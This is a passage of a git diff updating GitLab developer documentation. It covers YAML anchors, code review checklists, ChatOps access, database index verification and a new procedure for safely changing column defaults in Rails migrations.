+In certain cases (see [YAML anchors for scripts](#yaml-anchors-for-scripts)), you can use YAML anchors to build arrays with multiple components defined elsewhere. For example:
+
+```yaml
+.default_scripts: &default_scripts
+ - ./default-script1.sh
+ - ./default-script2.sh
+
+job1:
+ script:
+ - *default_scripts
+ - ./job-script.sh
+```
You can't use YAML anchors across multiple files when using the [`include`](index.md#include)
keyword. Anchors are only valid in the file they were defined in. To reuse configuration
@@ -43,12 +53,12 @@ with their own custom `script` defined:
- redis
test1:
- <<: *job_configuration # Merge the contents of the 'job_configuration' alias
+ <<: *job_configuration # Add the contents of the 'job_configuration' alias
script:
- test1 project
test2:
- <<: *job_configuration # Merge the contents of the 'job_configuration' alias
+ <<: *job_configuration # Add the contents of the 'job_configuration' alias
script:
- test2 project
```
@@ -189,30 +199,6 @@ job2:
- *some-script-after
```
-### YAML anchors for variables
-
-Use [YAML anchors](#anchors) with `variables` to repeat assignment
-of variables across multiple jobs. You can also use YAML anchors when a job
-requires a specific `variables` block that would otherwise override the global variables.
-
-The following example shows how override the `GIT_STRATEGY` variable without affecting
-the use of the `SAMPLE_VARIABLE` variable:
-
-```yaml
-# global variables
-variables: &global-variables
- SAMPLE_VARIABLE: sample_variable_value
- ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value
-
-# a job that must set the GIT_STRATEGY variable, yet depend on global variables
-job_no_git_strategy:
- stage: cleanup
- variables:
- <<: *global-variables
- GIT_STRATEGY: none
- script: echo $SAMPLE_VARIABLE
-```
-
## Use `extends` to reuse configuration sections
You can use the [`extends` keyword](index.md#extends) to reuse configuration in
@@ -331,8 +317,9 @@ to the contents of the `script`:
### Merge details
You can use `extends` to merge hashes but not arrays.
-The algorithm used for merge is "closest scope wins," so
-keys from the last member always override anything defined on other
+The algorithm used for merge is "closest scope wins". When there are
+duplicate keys, GitLab performs a reverse deep merge based on the keys.
+Keys from the last member always override anything defined on other
levels. For example:
```yaml
diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md
index 0048b10c9da..ee14d8e6414 100644
--- a/doc/development/adding_service_component.md
+++ b/doc/development/adding_service_component.md
@@ -87,6 +87,10 @@ In addition, any system dependencies used in Omnibus packages or the Cloud Nativ
## Release management
-If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery team](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). A list of the projects managed this way can be found in the [release tools project directory](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/).
+If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery group](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/).
+
+There are different levels of automation available to include a component in GitLab releases. The requirements and process for including a component in a release at these different levels are detailed in the [release documentation](https://gitlab.com/gitlab-org/release/docs/-/tree/master/components).
+
+A list of the projects with releases managed by release tools can be found in the [release tools project directory](https://gitlab.com/gitlab-org/release-tools/-/tree/master/lib/release_tools/project).
For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse and GitLab Shell need to be synchronized through the various release pipelines.
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index e0db0d7e34d..396bba2623e 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -785,7 +785,7 @@ The documentation will mention that the old Global ID style is now deprecated.
## Mark schema items as Alpha
You can mark GraphQL schema items (fields, arguments, enum values, and mutations) as
-[Alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga).
+[Alpha](../policy/alpha-beta-support.md#alpha-features).
An item marked as Alpha is [exempt from the deprecation process](#breaking-change-exemptions) and can be removed
at any time without notice. Mark an item as Alpha when it is
diff --git a/doc/development/application_slis/index.md b/doc/development/application_slis/index.md
index 75dd066680e..bd4587333e0 100644
--- a/doc/development/application_slis/index.md
+++ b/doc/development/application_slis/index.md
@@ -66,7 +66,7 @@ Gitlab::Metrics::Sli::Apdex.initialize_sli(:received_email, [
email_type: :service_desk
},
{
- feature_category: :code_review,
+ feature_category: :code_review_workflow,
email_type: :create_merge_request
}
])
diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md
index 312bf2b1bb7..f75cf35b32a 100644
--- a/doc/development/approval_rules.md
+++ b/doc/development/approval_rules.md
@@ -4,7 +4,7 @@ group: Code Review
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Approval Rules development guide **(FREE)**
+# Approval Rules development guide
This document explains the backend design and flow of all related functionality
about [merge request approval rules](../user/project/merge_requests/approvals/index.md).
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index 5eb1dcc3208..cba868d3fed 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -543,7 +543,8 @@ GitLab CI/CD is the open-source continuous integration service included with Git
#### GitLab Shell
-- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md)
+- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/)
+- [Documentation](gitlab_shell/index.md)
- Configuration:
- [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/)
@@ -552,7 +553,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git
- Layer: Core Service (Processor)
- GitLab.com: [Service Architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/#service-architecture)
-[GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh.
+[GitLab Shell](gitlab_shell/index.md) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh.
#### GitLab Workhorse
@@ -761,7 +762,7 @@ See our [Redis guidelines](redis.md) for more information about how GitLab uses
- [Source](../administration/packages/container_registry.md#enable-the-container-registry)
- [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/registry.md)
- Layer: Core Service (Processor)
-- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
+- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd)
The registry is what users use to store their own Docker images. The bundled
registry uses NGINX as a load balancer and GitLab as an authentication manager.
diff --git a/doc/development/audit_event_guide/index.md b/doc/development/audit_event_guide/index.md
index dfa6d56b3b5..8df5121a2f7 100644
--- a/doc/development/audit_event_guide/index.md
+++ b/doc/development/audit_event_guide/index.md
@@ -243,5 +243,5 @@ development.
We intentionally do not translate audit event messages because translated messages would be saved in the database and served to users, regardless of their locale settings.
-This could mean, for example, that we use the locale for the currently logged in user to record an audit event message and stream the message to an external streaming
+This could mean, for example, that we use the locale for the currently authenticated user to record an audit event message and stream the message to an external streaming
destination in the wrong language for that destination. Users could find that confusing.
diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md
index 7a684f64d64..53033cd19ff 100644
--- a/doc/development/auto_devops.md
+++ b/doc/development/auto_devops.md
@@ -4,7 +4,7 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Auto DevOps development guide **(FREE)**
+# Auto DevOps development guide
This document provides a development guide for contributors to
[Auto DevOps](../topics/autodevops/index.md).
diff --git a/doc/development/backend/create_source_code_be/index.md b/doc/development/backend/create_source_code_be/index.md
index 8a1a541fac9..77c98982210 100644
--- a/doc/development/backend/create_source_code_be/index.md
+++ b/doc/development/backend/create_source_code_be/index.md
@@ -30,8 +30,7 @@ that would not work efficiently without Workhorse.
## GitLab Shell
GitLab Shell handles Git SSH sessions for GitLab and modifies the list of authorized keys.
-For more information, [refer to the README](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md).
-for GitLab Shell.
+For more information, refer to the [GitLab Shell documentation](../../gitlab_shell/index.md).
To learn about the reasoning behind our creation of `gitlab-sshd`, read the blog post
[Why we implemented our own SSHD solution](https://about.gitlab.com/blog/2022/08/17/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass/).
@@ -48,3 +47,5 @@ For more information, read [Gitaly touch points](gitaly_touch_points.md).
Create: Source Code has over 100 REST endpoints, being a mixture of Grape API endpoints and Rails controller endpoints.
For a detailed list, refer to [Source Code REST Endpoints](rest_endpoints.md).
+
+An alternative list of the [Source Code endpoints and other owned objects](https://gitlab-com.gitlab.io/gl-infra/platform/stage-groups-index/source-code.html) is available.
diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md
index e4625a50d79..1b590d68d18 100644
--- a/doc/development/cached_queries.md
+++ b/doc/development/cached_queries.md
@@ -37,9 +37,9 @@ in-memory objects whenever possible.
When you introduce a new feature, you should:
- Avoid N+1 queries.
-- Minimize the [query count](merge_request_performance_guidelines.md#query-counts).
+- Minimize the [query count](merge_request_concepts/performance.md#query-counts).
- Pay special attention to ensure
- [cached queries](merge_request_performance_guidelines.md#cached-queries) are not
+ [cached queries](merge_request_concepts/performance.md#cached-queries) are not
masking N+1 problems.
## How to detect cached queries
@@ -163,5 +163,5 @@ factors help improve the overall execution time:
## For more information
- [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007)
-- [Merge request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries)
+- [Merge request performance guidelines for cached queries](merge_request_concepts/performance.md#cached-queries)
- [Improvements for biggest offenders](https://gitlab.com/groups/gitlab-org/-/epics/4508)
diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md
index c9cb2591e4e..378639c4a43 100644
--- a/doc/development/chatops_on_gitlabcom.md
+++ b/doc/development/chatops_on_gitlabcom.md
@@ -22,12 +22,12 @@ To request access to ChatOps on GitLab.com:
1. Sign in to [Internal GitLab for Operations](https://ops.gitlab.net/users/sign_in)
with one of the following methods (Okta is not supported):
- - The same username you use on GitLab.com. You may have to choose a different username later.
+ - The same username you use on GitLab.com.
- Selecting the **Sign in with Google** button to sign in with your GitLab.com email address.
1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/)
is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames
- don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account).
+ don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account). Matching usernames are required to reduce the administrative effort of running multiple platforms. Matching usernames also help with tasks like managing access requests and offboarding.
1. Comment in your onboarding issue, and tag your onboarding buddy and your manager.
Request they add you to the `ops` ChatOps project by running this command
diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md
index 8c75e66c33a..530bc62b603 100644
--- a/doc/development/cicd/cicd_reference_documentation_guide.md
+++ b/doc/development/cicd/cicd_reference_documentation_guide.md
@@ -4,7 +4,7 @@ group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Documenting the `.gitlab-ci.yml` keywords **(FREE)**
+# Documenting the `.gitlab-ci.yml` keywords
The [CI/CD YAML reference](../../ci/yaml/index.md) uses a standard style to make it easier to use and update.
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index 73ece709b8d..2a60ca18169 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, concepts, howto
---
-# CI/CD development documentation **(FREE)**
+# CI/CD development documentation
Development guides that are specific to CI/CD are listed here:
@@ -198,5 +198,5 @@ Watch a walkthrough of this feature in details in the video below.
See the video: <a href="https://www.youtube.com/watch?v=NmdWRGT8kZg">CI/CD minutes - architectural overview</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen> </iframe>
</figure>
diff --git a/doc/development/cicd/schema.md b/doc/development/cicd/schema.md
index 22896594443..26e63fb53d8 100644
--- a/doc/development/cicd/schema.md
+++ b/doc/development/cicd/schema.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, howto
---
-# Contribute to the CI/CD Schema **(FREE)**
+# Contribute to the CI/CD Schema
The [pipeline editor](../../ci/pipeline_editor/index.md) uses a CI/CD schema to enhance
the authoring experience of our CI/CD configuration files. With the CI/CD schema, the editor can:
@@ -17,9 +17,6 @@ the authoring experience of our CI/CD configuration files. With the CI/CD schema
As the rules and keywords for configuring our CI/CD configuration files change, so too
should our CI/CD schema.
-This feature is behind the [`schema_linting`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/feature_flags/development/schema_linting.yml)
-feature flag for self-managed instances, and is enabled for GitLab.com.
-
## JSON Schemas
The CI/CD schema follows the [JSON Schema Draft-07](https://json-schema.org/draft-07/json-schema-release-notes.html)
@@ -140,7 +137,6 @@ under the topmost **properties** key.
### Verify changes
-1. Enable the `schema_linting` feature flag.
1. Go to **CI/CD** > **Editor**.
1. Write your CI/CD configuration in the editor and verify that the schema validates
it correctly.
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index 6bc6c57e809..4f6799d12d8 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, concepts, howto
---
-# Development guide for GitLab CI/CD templates **(FREE)**
+# Development guide for GitLab CI/CD templates
This document explains how to develop [GitLab CI/CD templates](../../ci/examples/index.md#cicd-templates).
diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md
index f8fb794053d..107a1588e18 100644
--- a/doc/development/code_intelligence/index.md
+++ b/doc/development/code_intelligence/index.md
@@ -4,7 +4,7 @@ group: Code Review
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Code Intelligence **(FREE)**
+# Code Intelligence
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/1576) in GitLab 13.1.
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index 30d9d671038..e194453565a 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -197,10 +197,11 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering
1. You have properly separated EE content from FOSS, or this MR is FOSS only.
- [Where should EE code go?](ee_features.md)
1. You have considered that existing data may be surprisingly varied. For example, a new model validation can break existing records. Consider making validation on existing data optional rather than required if you haven't confirmed that existing data will pass validation.
+1. If a test passes with warnings and the failed job includes the text `Flaky test '<path/to/test>' was found in the list of files changed by this MR.`, you have fixed this test, or provided evidence explaining why this flaky test can be ignored.
##### Performance, reliability, and availability
-1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_performance_guidelines.md))
+1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_concepts/performance.md))
1. You have added [information for database reviewers in the MR description](database_review.md#required), or you have decided that it is unnecessary.
- [Does this MR have database-related changes?](database_review.md)
1. You have considered the availability and reliability risks of this change.
@@ -234,6 +235,10 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering
- [When to use a feature flag](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags)
1. You have informed the Infrastructure department of a default setting or new setting change per [definition of done](contributing/merge_request_workflow.md#definition-of-done), or decided that this is unnecessary.
+##### Compliance
+
+1. You have confirmed that the correct [MR type label](contributing/issue_workflow.md#type-labels) has been applied.
+
### The responsibility of the merge request author
The responsibility to find the best solution and implement it lies with the
@@ -510,6 +515,7 @@ WARNING:
Before taking the decision to merge:
- Set the milestone.
+- Confirm that the correct [MR type label](contributing/issue_workflow.md#type-labels) is applied.
- Consider warnings and errors from danger bot, code quality, and other reports.
Unless a strong case can be made for the violation, these should be resolved
before merging. A comment must be posted if the MR is merged with any failed job.
@@ -557,7 +563,7 @@ WARNING:
[very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master).
For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master).
- If the latest pipeline was created before the merge request was approved, start a new pipeline to ensure that full RSpec suite has been run. You may skip this step only if the merge request does not contain any backend change.
- - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** finished less than 2 hours ago, you
+ - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** was **created less than 6 hours ago**, and **finished less than 2 hours ago**, you
may merge without starting a new pipeline as the merge request is close
enough to `main`.
- When you set the MR to "Merge When Pipeline Succeeds", you should take over
diff --git a/doc/development/contributing/design.md b/doc/development/contributing/design.md
index b8d7a8eef39..aec487ed184 100644
--- a/doc/development/contributing/design.md
+++ b/doc/development/contributing/design.md
@@ -47,7 +47,7 @@ Check these aspects both when _designing_ and _reviewing_ UI changes.
as the secondary.
- Use clear and consistent [terminology](https://design.gitlab.com/content/terminology/).
- Check grammar and spelling.
-- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/helping-users/).
+- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/contextual-help).
- Request review from the [appropriate Technical Writer](https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments),
indicating any specific files or lines they should review, and how to preview
or understand the location/context of the text from the user's perspective.
@@ -64,9 +64,9 @@ Check these aspects both when _designing_ and _reviewing_ UI changes.
Check visual design properties using your browser's _elements inspector_ ([Chrome](https://developer.chrome.com/docs/devtools/css/),
[Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/open_the_inspector/index.html)).
-- Use recommended [colors](https://design.gitlab.com/product-foundations/colors/)
+- Use recommended [colors](https://design.gitlab.com/product-foundations/color)
and [typography](https://design.gitlab.com/product-foundations/type-fundamentals/).
-- Follow [layout guidelines](https://design.gitlab.com/layout/grid/).
+- Follow [layout guidelines](https://design.gitlab.com/product-foundations/layout#grid).
- Use existing [icons](https://gitlab-org.gitlab.io/gitlab-svgs/) and [illustrations](https://gitlab-org.gitlab.io/gitlab-svgs/illustrations/)
or propose new ones according to [iconography](https://design.gitlab.com/product-foundations/iconography/)
and [illustration](https://design.gitlab.com/product-foundations/illustration/)
@@ -81,9 +81,8 @@ Check states using your browser's _styles inspector_ to toggle CSS pseudo-classe
like `:hover` and others ([Chrome](https://developer.chrome.com/docs/devtools/css/reference/#pseudo-class),
[Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/examine_and_edit_css/index.html#viewing-common-pseudo-classes)).
-- Account for all applicable states ([error](https://design.gitlab.com/content/error-messages/),
- rest, loading, focus, hover, selected, disabled).
-- Account for states dependent on data size ([empty](https://design.gitlab.com/regions/empty-states/),
+- Account for all applicable states (error, rest, loading, focus, hover, selected, disabled).
+- Account for states dependent on data size ([empty](https://design.gitlab.com/patterns/empty-states),
some data, and lots of data).
- Account for states dependent on user role, user preferences, and subscription.
- Consider animations and transitions, and follow their [guidelines](https://design.gitlab.com/product-foundations/motion/).
@@ -126,7 +125,7 @@ When the design is ready, _before_ starting its implementation:
At any moment, but usually _during_ or _after_ the design's implementation:
-- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contribute/#contribute-an-issue)
+- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contributing#contribute-an-issue)
for additions or enhancements to the design system.
- Create issues with the [`~UX debt`](issue_workflow.md#technical-and-ux-debt)
label for intentional deviations from the agreed-upon UX requirements due to
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index df337bb2809..9058eded2c7 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -51,7 +51,7 @@ Most issues will have labels for at least one of the following:
- Specialization: `~frontend`, `~backend`, `~documentation`
- Release Scoping: `~Deliverable`, `~Stretch`, `~"Next Patch Release"`
- Priority: `~"priority::1"`, `~"priority::2"`, `~"priority::3"`, `~"priority::4"`
-- Severity: ~`"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"`
+- Severity: `~"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"`
Please add `~"breaking change"` label if the issue can be considered as a [breaking change](../deprecation_guidelines/index.md).
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index f06e8825660..ac3afa14b81 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -195,7 +195,7 @@ the contribution acceptance criteria below:
and testing future changes.
1. Changes do not degrade performance:
- Avoid repeated polling of endpoints that require a significant amount of overhead.
- - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_performance_guidelines.md).
+ - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_concepts/performance.md).
- Avoid repeated access of the file system.
- Use [polling with ETag caching](../polling.md) if needed to support real-time features.
1. If the merge request adds any new libraries (like gems or JavaScript libraries),
@@ -223,7 +223,7 @@ requirements.
1. Working and clean code that is commented where needed.
1. The change is evaluated to [limit the impact of far-reaching work](https://about.gitlab.com/handbook/engineering/development/#reducing-the-impact-of-far-reaching-work).
-1. [Performance guidelines](../merge_request_performance_guidelines.md) have been followed.
+1. [Performance guidelines](../merge_request_concepts/performance.md) have been followed.
1. [Secure coding guidelines](https://gitlab.com/gitlab-com/gl-security/security-guidelines) have been followed.
1. [Application and rate limit guidelines](../merge_request_application_and_rate_limit_guidelines.md) have been followed.
1. [Documented](../documentation/index.md) in the `/doc` directory.
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index b568809ea4e..b08eaed2afa 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -190,9 +190,9 @@ Contributors can configure Danger for their forks with the following steps:
1. Create a [personal API token](https://gitlab.com/-/profile/personal_access_tokens?name=GitLab+Dangerbot&scopes=api)
that has the `api` scope set (don't forget to copy it to the clipboard).
-1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#add-a-cicd-variable-to-a-project)
+1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#for-a-project)
called `DANGER_GITLAB_API_TOKEN` with the token copied in the previous step.
1. Make the variable [masked](../ci/variables/index.md#mask-a-cicd-variable) so it
doesn't show up in the job logs. The variable cannot be
- [protected](../ci/variables/index.md#protected-cicd-variables), because it needs
+ [protected](../ci/variables/index.md#protect-a-cicd-variable), because it needs
to be present for all branches.
diff --git a/doc/development/database/adding_database_indexes.md b/doc/development/database/adding_database_indexes.md
index 6a401c804f5..e1d5a7af6d9 100644
--- a/doc/development/database/adding_database_indexes.md
+++ b/doc/development/database/adding_database_indexes.md
@@ -294,16 +294,14 @@ end
### Verify the MR was deployed and the index exists in production
-You can verify if the post-deploy migration was executed on GitLab.com by:
-
-- Executing `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`,
- the post-deploy migration has been executed in the production database. More details in this
- [guide](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom).
-- Use a meta-command in #database-lab, such as: `\d <index_name>`.
- - Ensure that the index is not [`invalid`](https://www.postgresql.org/docs/12/sql-createindex.html#:~:text=The%20psql%20%5Cd%20command%20will%20report%20such%20an%20index%20as%20INVALID).
-- Ask someone in #database to check if the index exists.
-- With proper access, you can also verify directly on production or in a
- production clone.
+1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with
+ `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`,
+ the post-deploy migration has been executed in the production database. For more information, see
+ [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom).
+1. In the case of an [index created asynchronously](#schedule-the-index-to-be-created), wait
+ until the next week so that the index can be created over a weekend.
+1. Use [Database Lab](database_lab.md) to check [if creation was successful](database_lab.md#checking-indexes).
+ Ensure the output does not indicate the index is `invalid`.
### Add a migration to create the index synchronously
@@ -394,15 +392,15 @@ You must test the database index changes locally before creating a merge request
### Verify the MR was deployed and the index no longer exists in production
-You can verify if the MR was deployed to GitLab.com with
-`/chatops run auto_deploy status <merge_sha>`. To verify the existence of
-the index, you can:
-
-- Use a meta-command in `#database-lab`, for example: `\d <index_name>`.
-- Make sure the index no longer exists
-- Ask someone in `#database` to check if the index exists.
-- If you have access, you can verify directly on production or in a
- production clone.
+1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with
+ `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`,
+ the post-deploy migration has been executed in the production database. For more information, see
+ [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom).
+1. In the case of an [index removed asynchronously](#schedule-the-index-to-be-removed), wait
+ until the next week so that the index can be created over a weekend.
+1. Use Database Lab [to check if removal was successful](database_lab.md#checking-indexes).
+ [Database Lab](database_lab.md)
+ should report an error when trying to find the removed index. If not, the index may still exist.
### Add a migration to destroy the index synchronously
diff --git a/doc/development/database/avoiding_downtime_in_migrations.md b/doc/development/database/avoiding_downtime_in_migrations.md
index b34c0bbf728..bb6e13eff53 100644
--- a/doc/development/database/avoiding_downtime_in_migrations.md
+++ b/doc/development/database/avoiding_downtime_in_migrations.md
@@ -282,6 +282,62 @@ Example migration:
end
```
+## Changing column defaults
+
+Changing column defaults is difficult because of how Rails handles values
+that are equal to the default.
+
+If running code ever explicitly writes the old default value of a column, you must follow a multi-step
+process to prevent Rails replacing the old default with the new default in INSERT queries that explicitly
+specify the old default.
+
+Doing this requires steps in two minor releases:
+
+1. Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration.
+1. Clean up the `SafelyChangeColumnDefault` concern in the next minor release.
+
+We must wait a minor release before cleaning up the `SafelyChangeColumnDefault` because self-managed
+releases bundle an entire minor release into a single zero-downtime deployment.
+
+### Step 1: Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration
+
+The first step is to mark the column as safe to change in application code.
+
+```ruby
+class Ci::Build < ApplicationRecord
+ include SafelyChangeColumnDefault
+
+ columns_changing_default :partition_id
+end
+```
+
+Then create a **post-deployment migration** to change the default:
+
+```shell
+bundle exec rails g post_deployment_migration change_ci_builds_default
+```
+
+```ruby
+class ChangeCiBuildsDefault < Gitlab::Database::Migration[2.1]
+ def up
+ change_column_default('ci_builds', 'partition_id', from: 100, to: 101)
+ end
+
+ def down
+ change_column_default('ci_builds', 'partition_id', from: 101, to: 100)
+ end
+end
+```
+
+You can consider [enabling lock retries](../migration_style_guide.md#usage-with-transactional-migrations)
+when you run a migration on big tables, because it might take some time to
+acquire a lock on this table.
+
+### Step 2: Clean up the `SafelyChangeColumnDefault` concern in the next minor release
+
+In the next minor release, create a new merge request to remove the `columns_changing_default` call. Also remove the `SafelyChangeColumnDefault` include
+if it is not needed for a different column.
+
## Changing The Schema For Large Tables
While `change_column_type_concurrently` and `rename_column_concurrently` can be
@@ -319,10 +375,8 @@ This operation is safe as there's no code using the table just yet.
Dropping tables can be done safely using a post-deployment migration, but only
if the application no longer uses the table.
-Add the table to `DELETED_TABLES` in
-[gitlab_schema.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/database/gitlab_schema.rb),
-along with its `gitlab_schema`. Even though the table is deleted, it is still
-referenced in database migrations.
+Add the table to [`db/docs/deleted_tables`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/db/docs/deleted_tables) using the process described in [database dictionary](database_dictionary.md#dropping-tables).
+Even though the table is deleted, it is still referenced in database migrations.
## Renaming Tables
diff --git a/doc/development/database/batched_background_migrations.md b/doc/development/database/batched_background_migrations.md
index 71df4da59c3..88fdfab9828 100644
--- a/doc/development/database/batched_background_migrations.md
+++ b/doc/development/database/batched_background_migrations.md
@@ -269,6 +269,7 @@ In the second (filtered) example, we know exactly 100 will be updated with each
class BackfillNamespaceType < BatchedMigrationJob
scope_to ->(relation) { relation.where(type: nil) }
operation_name :update_all
+ feature_category :source_code_management
def perform
each_sub_batch do |sub_batch|
@@ -330,6 +331,7 @@ background migration.
# end
operation_name :update_all
+ feature_category :source_code_management
def perform
each_sub_batch(
diff --git a/doc/development/database/constraint_naming_convention.md b/doc/development/database/constraint_naming_convention.md
index e9e130495e6..4ac1cd2a71d 100644
--- a/doc/development/database/constraint_naming_convention.md
+++ b/doc/development/database/constraint_naming_convention.md
@@ -18,7 +18,7 @@ The intent is not to retroactively change names in existing databases but rather
|--------------------------|---------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|
| **Primary Key** | `pk_<table name>` | | `pk_projects` |
| **Foreign Key** | `fk_<table name>_<column name>[_and_<column name>]*_<foreign table name>` | | `fk_projects_group_id_groups` |
-| **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | | `index_repositories_on_group_id` |
